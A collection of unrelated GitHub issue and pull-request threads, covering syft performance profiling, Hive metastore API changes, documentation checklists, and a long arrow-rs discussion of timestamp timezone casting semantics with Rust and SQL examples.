[ ] Extend raid drop display with a history

Dropping loot history cause I don't think anyone cares about that.
Drop rate tracking otoh will likely be implemented... some time.


Should not post errors because the job was cancelled

See https://github.com/PowerShell/PowerShell/pull/9202#issuecomment-478283847

https://powershell.visualstudio.com/PowerShell/_build/results?buildId=18648&view=results

https://github.com/PowerShell/PowerShell/pull/9269


Improve syft performance by memoizing filetree

What would you like to be added:
To speed up syft packages processing, it is effective to memoize file.path.Normalize () in stereoscope/filetree.
Why is this needed:
It thought filetree of stereoscope used in syft is wasting CPU resources.
Additional context:
Profiling for syft packages dir:/ shows that  path(*lazybuf).append() and `path.Clean()' consume more than 20% of CPU resources at runtime, as follows.
      flat  flat%   sum%        cum   cum%
    69.18s 19.52% 19.52%     69.46s 19.60%  path.(*lazybuf).append
    26.48s  7.47% 26.99%     96.49s 27.23%  path.Clean
    21.83s  6.16% 33.15%     75.73s 21.37%  runtime.scanobject
    18.44s  5.20% 38.36%     20.80s  5.87%  runtime.findObject
    13.42s  3.79% 42.15%     13.56s  3.83%  syscall.Syscall
    10.48s  2.96% 45.10%     10.48s  2.96%  aeshashbody
     9.90s  2.79% 47.90%     32.64s  9.21%  runtime.mapaccess1_faststr

I profile stereoscope, and I found this node() function in the filetree stereoscope was called too many times.
func (t \*FileTree) node(p file.Path, strategy linkResolutionStrategy) (\*filenode.FileNode, error)
In my case, with  55148 paths system, node() was called 58,882,000 times. It was called 1067  times each a path on average.
call flow:
  node() -> file.Path.Normalize()
            -> path.Clean()
               -> (\*lazubuf).append()

Actually, file.Path.Normalize() was only needed to process once for the same path, I tried simply to implement memoization for file.Path.Normalize(), then path.(\*lazubuf).append()  were not at the top of the ranking.
      flat  flat%   sum%        cum   cum%
    21.24s  7.55%  7.55%     23.79s  8.45%  runtime.findObject
    20.08s  7.14% 14.68%     75.85s 26.95%  runtime.scanobject
    18.93s  6.73% 21.41%     18.93s  6.73%  runtime.evacuated (inline)
    16.51s  5.87% 27.28%     16.51s  5.87%  aeshashbody
    12.43s  4.42% 31.69%     12.65s  4.50%  syscall.Syscall
    10.41s  3.70% 35.39%     38.29s 13.61%  runtime.mapaccess2_faststr

In this case, the execution time is much shorter, from 385 seconds to 257 seconds.
It seems to improve speed by 33% .
Essentially, the filetree process should be improved, but since the performance improves on average 10%~20%, it would be a good idea to include this workaround first.

hey , see this issue cropping up frequently, potentailly trying to address it here.
https://github.com/anchore/syft/pull/1463
(not a maintainer)

nice change
regarding:

, the filetree process should be improved

Have an attempt at that here https://github.com/anchore/syft/pull/1463
(not a maintainer)

Thanks for your comment. and nice your PR!
I think doublestar search is very costly. In fact, I think a search like find . -name pipfile is better.
And If I tried syft packages dir:/home/myhome ,  syft's catalogers searches for link information from all directories to '/home/myhome'. I don't really see the need for this.

We are addressing this right now #1510

Though #1510 will be addressing the symptom (slower cataloging process) it won't be by memoizing Normalize() calls. Instead we took a look at the common calls done and added indexes to the underlying datastructure to be leveraged before searching the tree.


Hive 26012: HMS APIs to be enhanced for metadata replication

What changes were proposed in this pull request?
Change the CreateDatabaseRequest struct, to add a boolean value skipFSWrites. This boolean value decides whether to create the directory of this database in file system or not.
Same as CreateTableRequest struct and AddPartitionsRequest struct.
Meanwhile, enhance the HMS API to accept additional boolean skipFSWrites parameters to skip the creation on a need-to basis.
Why are the changes needed?
The following DDL statements in hive result in creation of a directories on the DFS filesystem.
"create database", "create table", "alter table 'table_name' add partition"
This is done to ensure that the user (be it be the service user or end user) has the privileges to access the underlying filesystem location. But it also sets up the subsequent queries from not having the burden of creating the directories “on demand”. For example, having the execution for “create table” statement also create the database root directories would be a little out of place.
Making this change can let the users to skip the creation on a need-to basis.
Does this PR introduce any user-facing change?
No
How was this patch tested?
Unit tests, Thrift build, Maven build

also should we test renaming a table that skips creating the directory?

@DanielZhu58 - Can you post the replies for @dengzhhu653's questions? Thanks.


WMS ID: 11408

Add here your WMS ID 11408
General requirements

Information in the workshop is adequate and updated
Code is correct and working
Links are correct
Make sure you enter the help email link in your manifest.json
Please make sure WMS URLs are updated as needed after your PR is approved

Checklist - Refer to the QA document for the complete list
Please confirm that the following is completed before submitting your PR

[X] All filenames are lower case (including folders, images, files, etc.)
[X] Filenames are descriptive
[X] Your workshop folder structure should be similar to the one used in the sample workshop (https://github.com/oracle-livelabs/common/tree/main/sample-livelabs-templates/sample-workshop)
[X] Are you using multiple versions (desktop/, sandbox/, tenancy/)? Make sure that each of them contains a manifest.json and an index.html
[X] Image references in markdown contain an alternate text

@KellyDSmith-orcl - Contacted over slack.

@KellyDSmith-orcl - Followed up in slack.

@KellyDSmith-orcl -  Followed up in slack.

Will resubmit after OCW


docs: Don't use backslashes in command blocks

Advise authors not to use continuation characters in code blocks.
Fixes #303.
Signed-off-by: James O. D. Hunt<EMAIL_ADDRESS>

Hi @klynnrif - ptal.


update toolBar optios list

Coverage remained the same when pulling d4a85e873dc8663b3ecd70db6810346bfe384a84 on bharat-dpd:toolbarOptionsList into 93754e371d302a76fbd7b3ae2672b9d8e8dc62ed on summernote:master.

Thank you.


CC74213: Typo

Hello, @MikeRayMSFT,
This proposed file change comes from https://github.com/MicrosoftDocs/sql-docs.ru-ru/pull/32 .
Could you review this contribution and help to merge if agreed?
Many thanks in advance.

@v-makoud : Thanks for your contribution! The author, @MikeRayMSFT, has been notified to review your proposed change.

@v-makoud thank you for this submission. #sign-off


Inconsistent data on phone versus server

data was gathered in cyclic manner MutableDataStreamBatch, inserted class into appendToDataStreams() so upon next appendToDataStream the class is initialized again.
The issue and discussion:
https://github.com/cph-cachet/carp-webservices-spring/issues/16

This is sufficient for a quick workaround (given that it works), but the real underlying issue with the entire data streams implementation is that it was blindly copied over from core and wasn't given much thought.
The real question you have to ask here is: what does MutableDataStreamBatch do in our code base in the first place?
Imo that implementation is just a crutch in Core for the in memory data streams implementation, nothing else. There, the property's purpose was to store the data.
In CAWS, we don't need this representation, as we can just use the batch as is, and dump the sequences in the db (given that its conditions are met).


Log value separately

Description
Log value separately, console will handle it's visualisation
Changes

[ ] Bug fix
[x] Improvement
[ ] Feature

Oh never even thought about that. I will keep that in mind in the future thank you.


Propose change timestamp casting with timezone to without timezones (also parsing of timestamps without timezones)

Is your feature request related to a problem or challenge? Please describe what you are trying to do.
This is in the context of implementing date_bin for timestamps with timezones: https://github.com/apache/datafusion/issues/10602
I made https://github.com/apache/arrow-rs/pull/5826 to document the behavior of casting timestamps and I found it very confusing. Specifically when you cast from Timestamp(None) to Timestamp(Some(tz)) and then back to Timetamp(None) the underlying timestamp values are changed as shown in this example
use arrow_array::Int64Array;
use arrow_array::types::{TimestampSecondType};
use arrow_cast::{cast, display};
use arrow_array::cast::AsArray;
use arrow_schema::{DataType, TimeUnit};
let data_type  = DataType::Timestamp(TimeUnit::Second, None);
let data_type_tz = DataType::Timestamp(TimeUnit::Second, Some("-05:00".into()));
let a = Int64Array::from(vec![1_000_000_000, 2_000_000_000, 3_000_000_000]);
let b = cast(&a, &data_type).unwrap(); // cast to timestamp without timezone
let b = b.as_primitive::<TimestampSecondType>(); // downcast to result type
assert_eq!(2_000_000_000, b.value(1)); // values are still the same

// Convert timestamps without a timezone to timestamps with a timezone
let c = cast(&b, &data_type_tz).unwrap();
let c = c.as_primitive::<TimestampSecondType>(); // downcast to result type
assert_eq!(2_000_018_000, c.value(1)); // value has been adjusted by offset

// Convert from timestamp with timezone back to timestamp without timezone
let d = cast(&c, &data_type).unwrap();
let d = d.as_primitive::<TimestampSecondType>(); // downcast to result type
assert_eq!(2_000_018_000, d.value(1)); // <---- **** THIS VALUE IS DIFFERENT THAN IT WAS INITITALLY
assert_eq!("2033-05-18T08:33:20", display::array_value_to_string(&d, 1).unwrap());

Thus I wanted to discuss if we should change the behavior to make it less surprising or if there was a reason to leave the current behavior
Describe the solution you'd like
I propose making casting timestamp with a timezone to timestamp without a timezone do the inverse of casting timestamp withpit a timezone to timestamp with a timezone
This would mean the final value of d in the above example is 2_000_000_000, not 2_000_018_000
Describe alternatives you've considered
Leave existing behavior
Additional context

This makes sense to me, the arrow specification doesn't specify either way but I think this would be less surprising

It turns out I actually flagged this on the original PR that altered the timezone casting logic - https://github.com/apache/arrow-rs/pull/4201#discussion_r1192301482
The argument that convinced me in the end is that when parsing from a string we convert to UTC
let array = StringArray::from(vec!["2010-01-01T00:00:00.123456+08:00"]);
let data_type = DataType::Timestamp(TimeUnit::Nanosecond, None);
let cast = cast(&array, &data_type).unwrap();
let value = cast.as_primitive::<TimestampNanosecondType>().value_as_datetime(0).unwrap();
assert_eq!(value.to_string(), "2009-12-31 16:00:00.123456");

But perhaps we want to change this also?

The argument that convinced me in the end is that when parsing from a string we convert to UTC

I don't quite follow this example.
Given 2010-01-01T00:00:00.123456+08:00 as input,  I (naively) would expect that when I cast that to a timestamp without timezone it would look like 2010-01-01T00:00:00.123456,  (same thing, no timezone)
It seems in your example that it is cast to 2009-12-31 16:00:00.123456 (likely because the underlying timestamp value was not changed)
Thus this seems like the same behavior and that it would be changed with the proposal.
But I may be missing something

Right so you're also advocating changing the parsing behaviour, i.e. casting from strings to timestamps, and not just between timestamps.
I agree these should be kept consistent, hence why I raised it

I posted this proposal to the dev list  https://lists.apache.org/thread/b6hhsthy9pqhwmjjkox2lbt4qz9zvlvw and on slack/discord to raise awareness

I propose making casting timestamp with a timezone to timestamp without a timezone do the inverse of casting timestamp withpit a timezone to timestamp with a timezone

in SQL specification

casting from timestamp with time zone to timestamp (without time zone) discards zone, and retains year/month/day/hour/minute/second fields
casting from timestamp (without zone) to timestamp with time zone  retains year/month/day/hour/minute/second fields and adds session time zone

So in standard SQL, one cast is not exactly inverse of the other.

I agree with @alamb 's proposal.
I think the question is what the value value=1262332800, unit=seconds, tz="america/los_angeles" represents?

Option 1: This is Friday, January 1, 2010 8:00:00 AM in Los Angeles
Option 2: This is Friday, January 1, 2010 12:00:00 AM in Los Angeles

Personally, I think option 1 is the most rational choice.  The value represents the UTC instant (always UTC, only one choice) and the tz tells you how functions should interpret the value (e.g. how to convert it to a string if that is desired).
Option 2 is strange.  The value represents "a wall clock time" and the tz tells you the "timezone at which the wall clock time should be interpreted".  The way a wall clock time is stored is "a timestamp (there may be multiple) where a wall clock in the UTC time zone would show the desired wall clock time".
If we pick option 1 then the only thing casting does is change how we want to interpret the value in cases where the time zone matters:

Unit extraction (e.g. calculating the day of week)
Conversion to string (e.g. to ISO 8601 format)
Etc.

The value should never change when casting.

I think the question is what the value value=1262332800, unit=seconds, tz="america/los_angeles" represents?

I don't think this is under question, as this is specified by the arrow format specification - https://github.com/apache/arrow/blob/main/format/Schema.fbs#L276.
The question instead the semantics of casting with respect to the displayed values. The specification has the following to say about this:
/// However, if a Timestamp column has no timezone value, changing it to a
/// non-empty value requires to think about the desired semantics.
/// One possibility is to assume that the original timestamp values are
/// relative to the epoch of the timezone being set; timestamp values should
/// then adjusted to the Unix epoch (for example, changing the timezone from
/// empty to "Europe/Paris" would require converting the timestamp values
/// from "Europe/Paris" to "UTC", which seems counter-intuitive but is
/// nevertheless correct).

Which is consistent with what we implement
let a = StringArray::from_iter_values([
    "2033-05-18T08:33:20",
    "2033-05-18T08:33:20Z",
    "2033-05-18T08:33:20 +01:00",
]);

let no_timezone = cast(&a, &DataType::Timestamp(TimeUnit::Nanosecond, None)).unwrap();
let back = cast(&no_timezone, &DataType::Utf8).unwrap();
assert_eq!(
    back.as_string::<i32>(),
    &StringArray::from_iter_values([
        "2033-05-18T08:33:20",
        "2033-05-18T08:33:20",
        "2033-05-18T07:33:20"
    ])
);

let with_timezone = cast(
    &a,
    &DataType::Timestamp(TimeUnit::Nanosecond, Some("+01:00".into())),
)
.unwrap();
let back = cast(&with_timezone, &DataType::Utf8).unwrap();
assert_eq!(
    back.as_string::<i32>(),
    &StringArray::from_iter_values([
        "2033-05-18T08:33:20+01:00",
        "2033-05-18T09:33:20+01:00",
        "2033-05-18T08:33:20+01:00",
    ])
)

Where the specification is ambiguous is what to do when going from a timestamp with a timezone to one without a timezone. Currently we use the time in the UTC epoch. i.e. 2033-05-18T08:33:20 +01:00 -> 2033-05-18T07:33:20. As @alamb rightly points out this is not an inverse of the opposite direction, where 2033-05-18T08:33:20 -> 2033-05-18T08:33:20 +01:00, as recommended by the arrow specification.
The proposal, as far as I understand it, is for 2033-05-18T08:33:20 +01:00 -> 2033-05-18T08:33:20

The proposal, as far as I understand it, is for 2033-05-18T08:33:20 +01:00 -> 2033-05-18T08:33:20,

if indeed proposed so, then it would be in line with SQL spec and so in line with what a few other engines do.

An update here is that we think we have a workaround for our usecase that we have added to DataFusion (a to_local_time function): https://github.com/apache/datafusion/pull/11401
I am not sure there is consensus that this change of behavior is desired (though it is not clear to me that there is consensus it would not be desired)

Edit: It is perhaps worth noting that in the case of a timestamp on the daylight savings boundary, taking the local timestamp instead of UTC as we do currently loses information, and casting back to that timezone will yield an ambiguous timestamp error. I am not sure if this matters.

This worries me as it sounds like it means it would be impossible to make timestamps  roundtripping in all cases
It isn't clear to me that  "never error but doesn't round trip" to "round trips but sometimes errors"  is an improvement in functionality

Postgresql has what I would call 'sane' behaviour in the face of ambiguous timestamps. While I think that PG's has some really odd behaviour with multiple 'at time zone's (see this comment) I think in this case the direction they went with is a solid defensible one. If arrow-rs was to emulate that behaviour then round trips wouldn't error but may possibly result in a different time.
Has anyone looked into what the other arrow implementations do to handle this ambiguous portion of the spec?

In lieu of https://github.com/apache/datafusion/issues/12218 I'm going to bring this thread back from the dead 👻.  I'll outline my understanding of the problem as well as what I understand within the current Apache Arrow specification and offer a potential solution.
The TL;DR is that we change nothing since we are in line with the current Apache Arrow expectations and datafusion functions similar to a different system that uses Arrow--Clickhouse it is consistent. This proposal is under the assumption that we desire to be completely in line with the current Apache Arrow specification though.
The problem and potential slated proposal
There currently is a misalignment with how casting from Timestamp('time/zone') -> Timestamp(None) functions. There is an expectation that this cast should effectively "retain" the timezone, for example:
2033-05-18T08:33:20+01:00 -> 2033-05-18T08:33:20
As of right now the arrow spec here has indicated that the current state of casting should be like so:
2033-05-18T08:33:20+01:00 -> 2033-05-18T07:33:20
Currently there is a proposal that when casting a ISO style timestamp with a timezone to the Timestamp data type it should not adjust the actual date time.
@tustvold shared this code snippet that outlines the expectation/proposal pretty well.
let a = StringArray::from_iter_values([
    "2033-05-18T08:33:20",
    "2033-05-18T08:33:20Z",
    "2033-05-18T08:33:20 +01:00",
]);

let no_timezone = cast(&a, &DataType::Timestamp(TimeUnit::Nanosecond, None)).unwrap();
let back = cast(&no_timezone, &DataType::Utf8).unwrap();
assert_eq!(
    back.as_string::<i32>(),
    &StringArray::from_iter_values([
        "2033-05-18T08:33:20",
        "2033-05-18T08:33:20",
        "2033-05-18T07:33:20" <---- this issue is proposing changing this to 2033-05-18T08:33:20
    ])
);

External research
Per @Omega359's comment

Has anyone looked into what the other arrow implementations do to handle this ambiguous portion of the spec?

Currently when running the following query in Clickhouse which uses arrow the outcome is similar to how arrow-rs is treating this cast (more below on how clickhouse can handle it):
In clickhouse (arrow):
:) SELECT toTimeZone('2024-09-10 11:45:19'::timestamp, 'America/Denver');

   ┌─toTimeZone(CAST('2024-09-10 11:45:19', 'timestamp'), 'America/Denver')─┐
1. │                                                    2024-09-10 10:45:19 │
   └────────────────────────────────────────────────────────────────────────┘

:) SELECT toTimeZone('2024-09-10 11:45:19'::timestamp, 'America/Denver')::timestamp;

   ┌─CAST(toTimeZone(CAST('2024-09-10 11:45:19', 'timestamp'), 'America/Denver'), 'timestamp')─┐
1. │                                                                       2024-09-10 11:45:19 │
   └───────────────────────────────────────────────────────────────────────────────────────────┘

In datafusion (arrow-rs):
> select ('2024-09-10 11:45:19' AT TIME ZONE 'America/Denver');
+-----------------------------+
| Utf8("2024-09-10 11:45:19") |
+-----------------------------+
| 2024-09-10T11:45:19-06:00   |
+-----------------------------+
1 row(s) fetched.
Elapsed 0.048 seconds.

> select ('2024-09-10 11:45:19' AT TIME ZONE 'America/Denver')::timestamp;
+-----------------------------+
| Utf8("2024-09-10 11:45:19") |
+-----------------------------+
| 2024-09-10T17:45:19         |
+-----------------------------+
1 row(s) fetched.
Elapsed 0.006 seconds.

Note: Datafusion uses UTC as the local time (more on this later).
When taking a look at Postgres I see the opposite functionality:
postgres=# SELECT ('2024-09-10 11:45:19' AT TIME ZONE 'America/Denver');
      timezone
---------------------
 2024-09-10 10:45:19
(1 row)

postgres=# SELECT ('2024-09-10 11:45:19' AT TIME ZONE 'America/Denver')::timestamp;
      timezone
---------------------
 2024-09-10 10:45:19
(1 row)

The timezone is effectively retained.

I filed a ticket within clickhouse to ask about this functionality: https://github.com/ClickHouse/ClickHouse/issues/69512
I was met with the following comment:

To clarify the current behaviour: The types DateTime <> DateTime('America/Denver'). It's not stripping, it kinda cast to another type.

There are a few tickets I've seen scattered throughout Arrow's issues that sort of relate to this functionality (as far as I'm aware):

https://github.com/apache/arrow/issues/41382
https://github.com/apache/arrow/issues/41268

Most of them are closed with no indication that this will be adjusted.
Proposal
Even though I personally think that the way Postgres does this is "more correct" that is just a matter of opinion. For consistency sake it would be best to keep the functionality as is so it is in line with Arrow's spec. If someone were to be a consumer of a different product using arrow and migrating over/using a product that uses arrow-rs it would likely make the most sense to have the same functionality.
I've also added a proposal to the original issue that led me to this thread: https://github.com/apache/datafusion/issues/12218

There currently is a misalignment with how casting from Timestamp('time/zone') -> Timestamp(None) functions. There is an expectation that this cast should effectively "retain" the timezone, for example:
2033-05-18T08:33:20+01:00 -> 2033-05-18T08:33:20

from SQL spec perspective. this is "the correct way" .

the way Postgres does this is "more correct"

BTW I've been heavily involved in timestamp-related work in the Trino project. Timestamps is one of very few cases where following PostgreSQL is not the right thing, because PostgreSQL misses real support for zones:
For timestamp with time zone, the internally stored value is always in UTC (Universal Coordinated Time, traditionally known as Greenwich Mean Time, GMT). An input value that has an explicit time zone specified is converted to UTC using the appropriate offset for that time zone.^1

There currently is a misalignment with how casting from Timestamp('time/zone') -> Timestamp(None) functions. There is an expectation that this cast should effectively "retain" the timezone, for example:
2033-05-18T08:33:20+01:00 -> 2033-05-18T08:33:20

from SQL spec perspective. this is "the correct way" .

Ah yeah, the only reason I think that it's valid to effectively "do nothing" is that arrow-rs is currently in line with whats expected of arrow. If its the case that arrow-rs should diverge from arrow then I'm under the opinion that it should be adjusted to the SQL spec. Obviously I have no power to make a final decision --just my two cents :P


[PDI-19999] Fixed Graphics2D BufferedImage missing hint warning

:white_check_mark: Build finished in 48m 34s
Build command:
mvn clean verify -B -e -Daudit -amd -pl core

:ok_hand: All tests passed!
Tests run: 5331, Failures: 0, Skipped: 14    Test Results

:information_source:  This is an automatic message